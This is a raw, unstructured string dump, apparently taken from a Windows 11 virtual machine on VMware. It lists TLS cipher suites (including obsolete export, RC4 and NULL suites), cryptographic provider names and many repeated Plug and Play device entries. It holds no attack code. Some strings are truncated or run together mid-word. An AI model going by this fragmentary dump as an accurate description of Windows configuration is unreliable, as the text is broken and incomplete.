TLS_DHE_DSS_WITH_AES_128_CBC_SHA256 TLS_DHE_DSS_WITH_AES_256_CBC_SHA TLS_DHE_DSS_WITH_AES_128_CBC_SHA TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA TLS_RSA_WITH_RC4_128_SHA TLS_RSA_WITH_RC4_128_MD5 TLS_RSA_WITH_DES_CBC_SHA TLS_DHE_DSS_WITH_DES_CBC_SHA TLS_DHE_DSS_EXPORT1024_WITH_DES_CBC_SHA TLS_RSA_WITH_NULL_SHA256 TLS_RSA_WITH_NULL_SHA TLS_RSA_WITH_NULL_MD5 TLS_RSA_EXPORT1024_WITH_RC4_56_SHA TLS_RSA_EXPORT_WITH_RC4_40_MD5 TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA TLS_PSK_WITH_AES_256_GCM_SHA384 TLS_PSK_WITH_AES_128_GCM_SHA256 TLS_PSK_WITH_AES_256_CBC_SHA384 TLS_PSK_WITH_AES_128_CBC_SHA256 TLS_PSK_WITH_NULL_SHA384 TLS_PSK_WITH_NULL_SHA256 mskeyprotcli.dll NCRYPT_KEY_PROTECTION_INTERFACE MSIDCRL LOCKEDCREDENTIALS CRYPT_CIPHER_INTERFACE 3DES 3DES_112 XTS-AES DESX CHACHA20_POLY1305 CRYPT_ASYMMETRIC_ENCRYPTION_INTERFACE CRYPT_SECRET_AGREEMENT_INTERFACE ECDH_P256 ECDH_P384 ECDH_P521 ECDH CRYPT_RNG_INTERFACE FIPS186DSARNG DUALECRNG CRYPT_KEY_DERIVATION_INTERFACE SP800_108_CTR_HMAC SP800_56A_CONCAT PBKDF2 CAPI_KDF TLS1_1_KDF TLS1_2_KDF HKDF CRYPT_CIPHER_INTERFACE 3DES 3DES_112 XTS-AES DESX CHACHA20_POLY1305 CRYPT_ASYMMETRIC_ENCRYPTION_INTERFACE CRYPT_SECRET_AGREEMENT_INTERFACE ECDH_P256 ECDH_P384 ECDH_P521 ECDH CRYPT_RNG_INTERFACE FIPS186DSARNG DUALECRNG CRYPT_KEY_DERIVATION_INTERFACE SP800_108_CTR_HMAC SP800_56A_CONCAT PBKDF2 CAPI_KDF TLS1_1_KDF TLS1_2_KDF HKDF NCRYPT_SCHANNEL_INTERFACE curve25519 NistP256 NistP384 NCRYPT_SCHANNEL_SIGNATURE_INTERFACE TLS_AES_256_GCM_SHA384 TLS_AES_128_GCM_SHA256 TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384 TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256 TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA TLS_RSA_WITH_AES_256_GCM_SHA384 TLS_RSA_WITH_AES_128_GCM_SHA256 TLS_RSA_WITH_AES_256_CBC_SHA256 TLS_RSA_WITH_AES_128_CBC_SHA256 TLS_RSA_WITH_AES_256_CBC_SHA TLS_RSA_WITH_AES_128_CBC_SHA TLS_RSA_WITH_NULL_SHA256 TLS_RSA_WITH_NULL_SHA TLS_PSK_WITH_AES_256_GCM_SHA384 TLS_PSK_WITH_AES_128_GCM_SHA256 TLS_PSK_WITH_AES_256_CBC_SHA384 TLS_PSK_WITH_AES_128_CBC_SHA256 TLS_PSK_WITH_NULL_SHA384 TLS_PSK_WITH_NULL_SHA256 RSAE-PSS/SHA256 RSAE-PSS/SHA384 RSAE-PSS/SHA512 RSA/SHA256 RSA/SHA384 RSA/SHA1 ECDSA/SHA256 ECDSA/SHA384 ECDSA/SHA1 DSA/SHA1 RSA/SHA512 ECDSA/SHA512 CRYPT_CIPHER_INTERFACE 3DES 3DES_112 XTS-AES DESX CHACHA20_POLY1305 Microsoft Primitive Provider Microsoft Primitive Provider Microsoft Primitive Provider Microsoft Primitive Provider Microsoft Primitive Provider Microsoft Primitive Provider Microsoft Primitive Provider Microsoft Primitive Provider CRYPT_ASYMMETRIC_ENCRYPTION_INTERFACE Microsoft Primitive Provider CRYPT_SECRET_AGREEMENT_INTERFACE ECDH_P256 ECDH_P384 ECDH_P521 ECDH Microsoft Primitive Provider Microsoft Primitive Provider Microsoft Primitive Provider Microsoft Primitive Provider Microsoft Primitive Provider CRYPT_RNG_INTERFACE FIPS186DSARNG DUALECRNG Microsoft Primitive Provider Microsoft Primitive Provider Microsoft Primitive Provider CRYPT_KEY_DERIVATION_INTERFACE SP800_108_CTR_HMAC SP800_56A_CONCAT PBKDF2 CAPI_KDF TLS1_1_KDF TLS1_2_KDF HKDF Microsoft Primitive Provider Microsoft Primitive Provider Microsoft Primitive Provider Microsoft Primitive Provider Microsoft Primitive Provider Microsoft Primitive Provider Microsoft Primitive Provider CRYPT_KEY_STORAGE_INTERFACE KEY_STORAGE Microsoft Software Key Storage Provider NCRYPT_SCHANNEL_INTERFACE TLS_AES_256_GCM_SHA384 TLS_AES_128_GCM_SHA256 TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384 TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256 TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA TLS_RSA_WITH_AES_256_GCM_SHA384 TLS_RSA_WITH_AES_128_GCM_SHA256 TLS_RSA_WITH_AES_256_CBC_SHA256 TLS_RSA_WITH_AES_128_CBC_SHA256 TLS_RSA_WITH_AES_256_CBC_SHA TLS_RSA_WITH_AES_128_CBC_SHA TLS_RSA_WITH_NULL_SHA256 TLS_RSA_WITH_NULL_SHA TLS_PSK_WITH_AES_256_GCM_SHA384 TLS_PSK_WITH_AES_128_GCM_SHA256 TLS_PSK_WITH_AES_256_CBC_SHA384 TLS_PSK_WITH_AES_128_CBC_SHA256 TLS_PSK_WITH_NULL_SHA384 TLS_PSK_WITH_NULL_SHA256 Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider Microsoft SSL Protocol Provider NCRYPT_KEY_PROTECTION_INTERFACE SDDL LOCAL WEBCREDENTIALS MSIDCRL DRACERTIFICATE CERTIFICATE VAULTCREDENTIALS KEYFILE LOCKEDCREDENTIALS Microsoft Key Protection Provider Microsoft Key Protection Provider Microsoft Key Protection Provider Microsoft Key Protection Provider Windows Client Key Protection Provider Windows Client Key Protection Provider Microsoft Key Protection Provider Microsoft Key Protection Provider Microsoft Key Protection Provider Microsoft Key Protection Provider Microsoft Primitive Provider Microsoft Primitive Provider Microsoft Primitive Provider Microsoft Primitive Provider Microsoft Primitive Provider Microsoft Primitive Provider Microsoft Primitive Provider Microsoft Primitive Provider Microsoft Primitive Provider Microsoft Primitive Provider Microsoft Primitive Provider Microsoft Primitive Provider Microsoft Primitive Provider Microsoft Primitive Provider Microsoft Primitive Provider Microsoft Primitive Provider Microsoft Primitive Provider Microsoft Primitive Provider Microsoft Primitive Provider Microsoft Primitive Provider Microsoft Primitive Provider Microsoft Primitive Provider DigitalMediaDevices @digitalmediadevice.inf,%ClassName%;Digital Media Devices %SystemRoot%\System32\setupapi.dll,-52 PrintQueue @printqueue.inf,%ClassName%;Print queues %systemroot%\system32\imageres.dll,-51 printui.dll,PrinterPropPageProvider Primitive @c_primitive.inf,%ClassDesc%;Primitive Drivers %SystemRoot%\System32\setupapi.dll,-27 CurrentVideoId CurrentVideoId NewVideoId $BusDeviceDesc DeviceProperty {540b947e-8b40-45bc-a8a2-6a0b894cbda2} $BusDeviceDesc DeviceProperty {540b947e-8b40-45bc-a8a2-6a0b894cbda2} %SYSTEMDRIVE%\$WINDOWS.~BT\Sources\SetupPlatform.exe /onerror 0000100c {00000000-0000-0000-0000-000000000000} {00000000-0000-0000-0000-000000000000} WINDOWS11 BP982 Windows11 BP982 Undocked Profile {67e8be15-0ec0-11f1-b1f7-806e6f6e6963} NOEXECUTE=OPTIN FVEBOOT=2666496 multi(0)disk(0)rdisk(0)partition(3) multi(0)disk(0)rdisk(0)partition(1) INTEL - 6040000 VMW201.00V.24866131.B64.2507211911 VMware, Inc. - 10000 {00000000-0000-0000-FFFF-FFFFFFFFFFFF} acpiapic {4d36e966-e325-11ce-bfc1-08002be10318} @hal.inf,%acpi_amd64.devicedesc%;ACPI x64-based PC {4d36e966-e325-11ce-bfc1-08002be10318}\0000 ACPI x64-based PC ACPI x64-based PC @hal.inf,%gendev_mfg%;(Standard computers) Microsoft Microsoft 6-21-2006 hal.inf 10.0.26100.1 10.0.26100.1 hal.inf ACPI_AMD64_HAL ACPI_AMD64_HAL hal.inf:4ac8f80ccd60c087:ACPI_AMD64_HAL:10.0.26100.1:acpiapic @acpi.inf,%msft%;Microsoft Microsoft 6-21-2006 acpi.inf 10.0.26100.7705 10.0.26100.7705 acpi.inf IRQ:HAL ACPI_Inst.NT ACPI_Inst.NT acpi.inf:db04a16ce10b0c38:ACPI_Inst.NT:10.0.26100.7705:*PNP0C08 *PNP0C08 *PNP0C08 IRQ:HAL acpi.inf:*PNP0C08,ACPI_Inst.NT {9f068318-a1b6-4e76-8cfd-7f47886f8de6} VMware, Inc. VMware20,1 07/21/2025 VMware, Inc. VMW201.00V.24866131.B64.2507211911 VMware, Inc.&&VMware20,1&VMware, Inc.&VMW201.00V.24866131.B64.2507211911&ff&ff DIAG ComputerMetadata\{90D5F9CB-A52B-5A98-8395-0D835A1C3626} ComputerMetadata\{F644F57C-FAE3-52C9-A7D9-19757E0098BD} ComputerMetadata\{BAEAA7F3-89B5-53F3-B93C-D75328C29650} ComputerMetadata\{4A8A248D-9E6B-5216-B83E-6CDF9BDE8D0D} ComputerMetadata\{27BA637B-843E-58AC-8D78-3006FEAC89D3} ComputerMetadata\{1AAA6118-F19D-50EE-B799-86DFB0BFAF55} {476090ec-ac54-487b-acfe-26e145f050b8} SWC\Generic HTREE\ROOT\0 {00000000-0000-0000-ffff-ffffffffffff} Microsoft COMPUTER\{90D5F9CB-A52B-5A98-8395-0D835A1C3626} COMPUTER\{F644F57C-FAE3-52C9-A7D9-19757E0098BD} COMPUTER\{BAEAA7F3-89B5-53F3-B93C-D75328C29650} COMPUTER\{4A8A248D-9E6B-5216-B83E-6CDF9BDE8D0D} COMPUTER\Generic SWD\GenericRaw SWD\Generic VMware, Inc. VMware20,1 {4d36e966-e325-11ce-bfc1-08002be10318} {4d36e966-e325-11ce-bfc1-08002be10318}\0001 Computer Device Computer Device @compdev.inf,%msft%;Microsoft Microsoft 6-21-2006 MBRES compdev.inf 10.0.26100.1 10.0.26100.1 compdev.inf CompDev_Install CompDev_Install compdev.inf:db04a16cab6726b1:CompDev_Install:10.0.26100.1:COMPUTER\Generic COMPUTER\Generic COMPUTER\Generic compdev.inf:COMPUTER\Generic,CompDev_Install VocaEffectPack-Extension.inf {7022681d-4045-4c1d-bf02-7b05b32682ae} {ecb1e075-b501-4c51-bc1e-be52dcbbb44b} Microsoft 6-21-2006 machine.inf 10.0.26100.1150 10.0.26100.1150 machine.inf MBRES MBRES NO_DRV_X_PNP NO_DRV_X_PNP machine.inf:4ac8f80c2b4dc1f8:NO_DRV_X_PNP:10.0.26100.1150:*PNP0A05 *PNP0A05 *PNP0A05 IO@0-0xFF:*;IO:HAL,MBRES;IRQ:HAL,* IO@0-0xFF:*;IO:HAL,MBRES;IRQ:HAL,* machine.inf:*PNP0A05,NO_DRV_X_PNP 192.168.27.2 ACPI\PNP0A05\14 {00000000-0000-0000-ffff-ffffffffffff} ACPI\VEN_PNP&DEV_0A05 ACPI\PNP0A05 *PNP0A05 ACPI(_SB_)#ACPI(L1M4)#ACPI(L0M6) {4d36e97d-e325-11ce-bfc1-08002be10318} @machine.inf,%*pnp0a05_desc%;Generic Bus Microsoft {4d36e97d-e325-11ce-bfc1-08002be10318}\0055 Generic Bus Generic Bus @machine.inf,%gendev_mfg%;(Standard system devices) Microsoft 6-21-2006 machine.inf 10.0.26100.1150 10.0.26100.1150 machine.inf MBRES MBRES NO_DRV_X_PNP NO_DRV_X_PNP machine.inf:4ac8f80c2b4dc1f8:NO_DRV_X_PNP:10.0.26100.1150:*PNP0A05 *PNP0A05 *PNP0A05 IO@0-0xFF:*;IO:HAL,MBRES;IRQ:HAL,* IO@0-0xFF:*;IO:HAL,MBRES;IRQ:HAL,* machine.inf:*PNP0A05,NO_DRV_X_PNP \_SB.L1M5.L0M0 ACPI\PNP0A05\14 {00000000-0000-0000-ffff-ffffffffffff} ACPI\VEN_PNP&DEV_0A05 ACPI\PNP0A05 *PNP0A05 ACPI(_SB_)#ACPI(L1M4)#ACPI(L0M7) {4d36e97d-e325-11ce-bfc1-08002be10318} @machine.inf,%*pnp0a05_desc%;Generic Bus Microsoft {4d36e97d-e325-11ce-bfc1-08002be10318}\0056 Generic Bus Generic Bus @machine.inf,%gendev_mfg%;(Standard system devices) Microsoft 6-21-2006 machine.inf 10.0.26100.1150 10.0.26100.1150 machine.inf MBRES MBRES NO_DRV_X_PNP NO_DRV_X_PNP machine.inf:4ac8f80c2b4dc1f8:NO_DRV_X_PNP:10.0.26100.1150:*PNP0A05 *PNP0A05 *PNP0A05 IO@0-0xFF:*;IO:HAL,MBRES;IRQ:HAL,* IO@0-0xFF:*;IO:HAL,MBRES;IRQ:HAL,* machine.inf:*PNP0A05,NO_DRV_X_PNP \_SB.L1M5.L0M1 ACPI\PNP0A05\15 {00000000-0000-0000-ffff-ffffffffffff} ACPI\VEN_PNP&DEV_0A05 ACPI\PNP0A05 *PNP0A05 ACPI(_SB_)#ACPI(L1M5)#ACPI(L0M0) {4d36e97d-e325-11ce-bfc1-08002be10318} @machine.inf,%*pnp0a05_desc%;Generic Bus Microsoft {4d36e97d-e325-11ce-bfc1-08002be10318}\0057 Generic Bus Generic Bus @machine.inf,%gendev_mfg%;(Standard system devices) Microsoft 6-21-2006 machine.inf 10.0.26100.1150 10.0.26100.1150 machine.inf MBRES MBRES NO_DRV_X_PNP NO_DRV_X_PNP machine.inf:4ac8f80c2b4dc1f8:NO_DRV_X_PNP:10.0.26100.1150:*PNP0A05 *PNP0A05 *PNP0A05 IO@0-0xFF:*;IO:HAL,MBRES;IRQ:HAL,* IO@0-0xFF:*;IO:HAL,MBRES;IRQ:HAL,* machine.inf:*PNP0A05,NO_DRV_X_PNP \_SB.L1M5.L0M2 ACPI\PNP0A05\15 {00000000-0000-0000-ffff-ffffffffffff} ACPI\VEN_PNP&DEV_0A05 ACPI\PNP0A05 *PNP0A05 ACPI(_SB_)#ACPI(L1M5)#ACPI(L0M1) {4d36e97d-e325-11ce-bfc1-08002be10318} @machine.inf,%*pnp0a05_desc%;Generic Bus Microsoft {4d36e97d-e325-11ce-bfc1-08002be10318}\0058 Generic Bus Generic Bus @machine.inf,%gendev_mfg%;(Standard system devices) Microsoft 6-21-2006 machine.inf 10.0.26100.1150 10.0.26100.1150 machine.inf MBRES MBRES NO_DRV_X_PNP NO_DRV_X_PNP machine.inf:4ac8f80c2b4dc1f8:NO_DRV_X_PNP:10.0.26100.1150:*PNP0A05 *PNP0A05 *PNP0A05 IO@0-0xFF:*;IO:HAL,MBRES;IRQ:HAL,* IO@0-0xFF:*;IO:HAL,MBRES;IRQ:HAL,* machine.inf:*PNP0A05,NO_DRV_X_PNP \_SB.L1M5.L0M3 ACPI\PNP0A05\15 {00000000-0000-0000-ffff-ffffffffffff} ACPI\VEN_PNP&DEV_0A05 ACPI\PNP0A05 *PNP0A05 ACPI(_SB_)#ACPI(L1M5)#ACPI(L0M2) {4d36e97d-e325-11ce-bfc1-08002be10318} @machine.inf,%*pnp0a05_desc%;Generic Bus Microsoft {4d36e97d-e325-11ce-bfc1-08002be10318}\0059 Generic Bus Generic Bus @machine.inf,%gendev_mfg%;(Standard system devices) Microsoft 6-21-2006 machine.inf 10.0.26100.1150 10.0.26100.1150 machine.inf MBRES MBRES NO_DRV_X_PNP NO_DRV_X_PNP machine.inf:4ac8f80c2b4dc1f8:NO_DRV_X_PNP:10.0.26100.1150:*PNP0A05 *PNP0A05 *PNP0A05 IO@0-0xFF:*;IO:HAL,MBRES;IRQ:HAL,* IO@0-0xFF:*;IO:HAL,MBRES;IRQ:HAL,* machine.inf:*PNP0A05,NO_DRV_X_PNP \_SB.L1M5.L0M4 KslD ACPI\PNP0A05\15 {00000000-0000-0000-ffff-ffffffffffff} ACPI\VEN_PNP&DEV_0A05 ACPI\PNP0A05 *PNP0A05 ACPI(_SB_)#ACPI(L1M5)#ACPI(L0M3) {4d36e97d-e325-11ce-bfc1-08002be10318} @machine.inf,%*pnp0a05_desc%;Generic Bus Microsoft {4d36e97d-e325-11ce-bfc1-08002be10318}\0060 {4d36e97d-e325-11ce-bfc1-08002be10318}\0091 PCI Express Root Port PCI Express Root Port @pci.inf,%gendev_mfg%;(Standard system devices) Microsoft Microsoft 6-21-2006 machine.inf 10.0.26100.1150 10.0.26100.1150 machine.inf MBRES MBRES NO_DRV_X_PNP NO_DRV_X_PNP machine.inf:4ac8f80c2b4dc1f8:NO_DRV_X_PNP:10.0.26100.1150:*PNP0A05 *PNP0A05 *PNP0A05 IO@0-0xFF:*;IO:HAL,MBRES;IRQ:HAL,* IO@0-0xFF:*;IO:HAL,MBRES;IRQ:HAL,* machine.inf:*PNP0A05,NO_DRV_X_PNP ACPI\PNP0A05\15 {00000000-0000-0000-ffff-ffffffffffff} ACPI\VEN_PNP&DEV_0A05 ACPI\PNP0A05 *PNP0A05 Microsoft ACPI(_SB_)#ACPI(L1M5)#ACPI(L0M4) {4d36e97d-e325-11ce-bfc1-08002be10318} @machine.inf,%*pnp0a05_desc%;Generic Bus Microsoft {4d36e97d-e325-11ce-bfc1-08002be10318}\0061 Generic Bus Generic Bus @machine.inf,%gendev_mfg%;(Standard system devices) Microsoft 6-21-2006 machine.inf 10.0.26100.1150 10.0.26100.1150 machine.inf MBRES MBRES NO_DRV_X_PNP NO_DRV_X_PNP machine.inf:4ac8f80c2b4dc1f8:NO_DRV_X_PNP:10.0.26100.1150:*PNP0A05 *PNP0A05 *PNP0A05 IO@0-0xFF:*;IO:HAL,MBRES;IRQ:HAL,* IO@0-0xFF:*;IO:HAL,MBRES;IRQ:HAL,* machine.inf:*PNP0A05,NO_DRV_X_PNP \_SB.L1M5.L0M6 ACPI\PNP0A05\15 {00000000-0000-0000-ffff-ffffffffffff} ACPI\VEN_PNP&DEV_0A05 ACPI\PNP0A05 *PNP0A05 ACPI(_SB_)#ACPI(L1M5)#ACPI(L0M5) {4d36e97d-e325-11ce-bfc1-08002be10318} @machine.inf,%*pnp0a05_desc%;Generic Bus Microsoft {4d36e97d-e325-11ce-bfc1-08002be10318}\0062 Generic Bus Generic Bus @machine.inf,%gendev_mfg%;(Standard system devices) Microsoft 6-21-2006 machine.inf 10.0.26100.1150 10.0.26100.1150 machine.inf MBRES MBRES NO_DRV_X_PNP NO_DRV_X_PNP machine.inf:4ac8f80c2b4dc1f8:NO_DRV_X_PNP:10.0.26100.1150:*PNP0A05 *PNP0A05 *PNP0A05 IO@0-0xFF:*;IO:HAL,MBRES;IRQ:HAL,* IO@0-0xFF:*;IO:HAL,MBRES;IRQ:HAL,* machine.inf:*PNP0A05,NO_DRV_X_PNP ACPI\PNP0A05\15 {00000000-0000-0000-ffff-ffffffffffff} ACPI\VEN_PNP&DEV_0A05 ACPI\PNP0A05 *PNP0A05 ACPI(_SB_)#ACPI(L1M5)#ACPI(L0M6) {4d36e97d-e325-11ce-bfc1-08002be10318} @machine.inf,%*pnp0a05_desc%;Generic Bus {4d36e97d-e325-11ce-bfc1-08002be10318}\0063 Generic Bus Generic Bus @machine.inf,%gendev_mfg%;(Standard system devices) Microsoft 6-21-2006 machine.inf 10.0.26100.1150 10.0.26100.1150 machine.inf MBRES MBRES NO_DRV_X_PNP NO_DRV_X_PNP machine.inf:4ac8f80c2b4dc1f8:NO_DRV_X_PNP:10.0.26100.1150:*PNP0A05 *PNP0A05 *PNP0A05 IO@0-0xFF:*;IO:HAL,MBRES;IRQ:HAL,* IO@0-0xFF:*;IO:HAL,MBRES;IRQ:HAL,* machine.inf:*PNP0A05,NO_DRV_X_PNP \_SB.L1M6.L0M0 ACPI\PNP0A05\15 {00000000-0000-0000-ffff-ffffffffffff} ACPI\VEN_PNP&DEV_0A05 ACPI\PNP0A05 *PNP0A05 ACPI(_SB_)#ACPI(L1M5)#ACPI(L0M7) {4d36e97d-e325-11ce-bfc1-08002be10318} @machine.inf,%*pnp0a05_desc%;Generic Bus Microsoft {4d36e97d-e325-11ce-bfc1-08002be10318}\0064 Generic Bus Generic Bus @machine.inf,%gendev_mfg%;(Standard system devices) Microsoft 6-21-2006 machine.inf 10.0.26100.1150 10.0.26100.1150 machine.inf MBRES MBRES NO_DRV_X_PNP NO_DRV_X_PNP machine.inf:4ac8f80c2b4dc1f8:NO_DRV_X_PNP:10.0.26100.1150:*PNP0A05 *PNP0A05 *PNP0A05 IO@0-0xFF:*;IO:HAL,MBRES;IRQ:HAL,* IO@0-0xFF:*;IO:HAL,MBRES;IRQ:HAL,* machine.inf:*PNP0A05,NO_DRV_X_PNP *PNP0A05 *PNP0A05 IO@0-0xFF:*;IO:HAL,MBRES;IRQ:HAL,* IO@0-0xFF:*;IO:HAL,MBRES;IRQ:HAL,* machine.inf:*PNP0A05,NO_DRV_X_PNP \_SB.L1M7.L0M7 {47711976-08c7-44ef-8fa2-082da6a30a30} PCI\VEN_15AD&DEV_0740&REV_10 PCI\VEN_15AD&DEV_0740 PCI\VEN_15AD&CC_088000 PCI\VEN_15AD&CC_0880 PCI\VEN_15AD PCI\CC_088000 PCI\CC_0880 @System32\drivers\pci.sys,#2176;Base System Device PCIROOT(0)#PCI(0707) ACPI(_SB_)#ACPI(PCI0)#PCI(0707) @oem8.inf,%svga%;VMware SVGA 3D ft Basic Display Adapter atible) ACPI\PNP0A03\2&daba3ff&0 @System32\drivers\pci.sys,#65536;PCI bus %1, device %2, function %3;(0,15,0) {00000000-0000-0000-ffff-ffffffffffff} PCI\VEN_15AD&DEV_0405&SUBSYS_040515AD&REV_00 PCI\VEN_15AD&DEV_0405&SUBSYS_040515AD PCI\VEN_15AD&DEV_0405&CC_030000 PCI\VEN_15AD&DEV_0405&CC_0300 PCI\VEN_15AD&DEV_0405&REV_00 PCI\VEN_15AD&DEV_0405 PCI\VEN_15AD&CC_030000 PCI\VEN_15AD&CC_0300 PCI\VEN_15AD PCI\CC_030000 PCI\CC_0300 @System32\drivers\pci.sys,#768;Video Controller (VGA Compatible) PCIROOT(0)#PCI(0F00) ACPI(_SB_)#ACPI(PCI0)#PCI(0F00) PCI\VEN_15AD&DEV_07A0&REV_01 PCI\VEN_15AD&DEV_07A0 PCI\VEN_15AD&CC_060400 PCI\VEN_15AD&CC_0604 PCI\VEN_15AD PCI\CC_060400&DT_4 PCI\CC_060400 PCI\CC_0604&DT_4 PCI\CC_0604 @System32\drivers\pci.sys,#1540;PCI to PCI Bridge PCIROOT(0)#PCI(1505) ACPI(_SB_)#ACPI(PCI0)#ACPI(PE45) {4d36e97d-e325-11ce-bfc1-08002be10318} @pci.inf,%pci\cc_0604&dt_4.devicedesc%;PCI Express Root Port {4d36e97d-e325-11ce-bfc1-08002be10318}\0090 PCI Express Root Port PCI Express Root Port @pci.inf,%gendev_mfg%;(Standard system devices) Microsoft Microsoft 6-21-2006 pci.inf 10.0.26100.7705 10.0.26100.7705 pci.inf PCI_BRIDGE PCI_BRIDGE pci.inf:4ac8f80c1dbf149d:PCI_BRIDGE:10.0.26100.7705:PCI\CC_0604&DT_4 PCI\CC_0604&DT_4 PCI\CC_0604&DT_4 @pci.inf,%PCISlot%;PCI Slot %1!u! pci.inf:PCI\CC_0604&DT_4,PCI_BRIDGE \_SB.PCI0.PE45 ACPI\PNP0A03\2&daba3ff&0 @System32\drivers\pci.sys,#65536;PCI bus %1, device %2, function %3;(0,21,6) {00000000-0000-0000-ffff-ffffffffffff} PCI\VEN_15AD&DEV_07A0&SUBSYS_07A015AD&REV_01 PCI\VEN_15AD&DEV_07A0&SUBSYS_07A015AD PCI\VEN_15AD&DEV_07A0&CC_060400 PCI\VEN_15AD&DEV_07A0&CC_0604 PCI\VEN_15AD&DEV_07A0&REV_01 PCI\VEN_15AD&DEV_07A0 PCI\VEN_15AD&CC_060400 PCI\VEN_15AD&CC_0604 PCI\VEN_15AD PCI\CC_060400&DT_4 PCI\CC_060400 PCI\CC_0604&DT_4 PCI\CC_0604 @System32\drivers\pci.sys,#1540;PCI to PCI Bridge PCIROOT(0)#PCI(1506) ACPI(_SB_)#ACPI(PCI0)#ACPI(PE46) {4d36e97d-e325-11ce-bfc1-08002be10318} @pci.inf,%pci\cc_0604&dt_4.devicedesc%;PCI Express Root Port Microsoft 6-21-2006 pci.inf 10.0.26100.7705 10.0.26100.7705 pci.inf PCI_BRIDGE VmGenCounter.NT VmGenCounter.NT wgencounter.inf:741f41b54e4c0641:VmGenCounter.NT:10.0.26100.1150:VM_Gen_Counter VM_Gen_Counter VM_Gen_Counter wgencounter.inf:VM_Gen_Counter,VmGenCounter.NT VM_Gen_Counter \_SB.PCI0.VMGC PCI\VEN_8086&DEV_7110&SUBSYS_197615AD&REV_08\3&61aaa01&0&38 PCI\VEN_8086&DEV_7110&SUBSYS_197615AD&REV_08\3&61aaa01&0&38 {00000000-0000-0000-ffff-ffffffffffff} ACPI\VEN_VMW&DEV_0003 ACPI\VMW0003 *VMW0003 *PNP0F13 ACPI(_SB_)#ACPI(PCI0)#ACPI(ISA_)#ACPI(MOUS) {4d36e96f-e325-11ce-bfc1-08002be10318} i8042prt @oem7.inf,%vmmouse.svcdesc%;VMware Pointing Device Mouse {4d36e96f-e325-11ce-bfc1-08002be10318}\0000 Broadcom Inc. Broadcom Inc. 10-22-2024 Base oem7.inf 12.5.15.0 .1150 12.5.15.0 .1150 oem7.inf *VMW0003 VMMouse VMMouse oem7.inf:3376151c989ae2b9:VMMouse:12.5.15.0:*VMW0003 :*PNP0F13 PCIROOT(0)#PCI(1600)#PCI(0000) ACPI(_SB_)#ACPI(PCI0)#ACPI(PE50)#ACPI(S1F0) {36fc9e60-c465-11cf-8056-444553540000} USBXHCI @usbxhci.inf,%pci\cc_0c0330.devicedesc%;USB xHCI Compliant Host Controller {36fc9e60-c465-11cf-8056-444553540000}\0000 USB xHCI Compliant Host Controller USB xHCI Compliant Host Controller @usbxhci.inf,%generic.mfg%;Generic USB xHCI Host Controller Microsoft Microsoft 1-26-2026 usbxhci.inf 10.0.26100.7705 10.0.26100.7705 usbxhci.inf PCI\CC_0C0330 Generic.Install.NT Generic.Install.NT usbxhci.inf:392c3d5304de3197:Generic.Install.NT:10.0.26100.7705:PCI\CC_0C0330 pci.inf pci.inf PCI\CC_0C0330 Microsoft Microsoft 1-26-2026 hdaudbus.inf 10.0.26100.7705 10.0.26100.7705 hdaudbus.inf PCI\CC_0403 HDAudio_Device.NT HDAudio_Device.NT hdaudbus.inf:db04a16c28a36625:HDAudio_Device.NT:10.0.26100.7705:PCI\CC_0403 wdmaudio.inf wdmaudio.inf PCI\CC_0403 Audio Device on High Definition Audio Bus Modem Device on High Definition Audio Bus Unknown Device on High Definition Audio Bus Internal High Definition Audio Bus hdaudbus.inf:PCI\CC_0403,HDAudio_Device.NT \_SB.PCI0.P2P0.S4F0 ROOT\vdrvroot vdrvroot {4d36e97d-e325-11ce-bfc1-08002be10318} @vdrvroot.inf,%vdrvroot.devicedesc%;Microsoft Virtual Drive Enumerator {4d36e97d-e325-11ce-bfc1-08002be10318}\0128 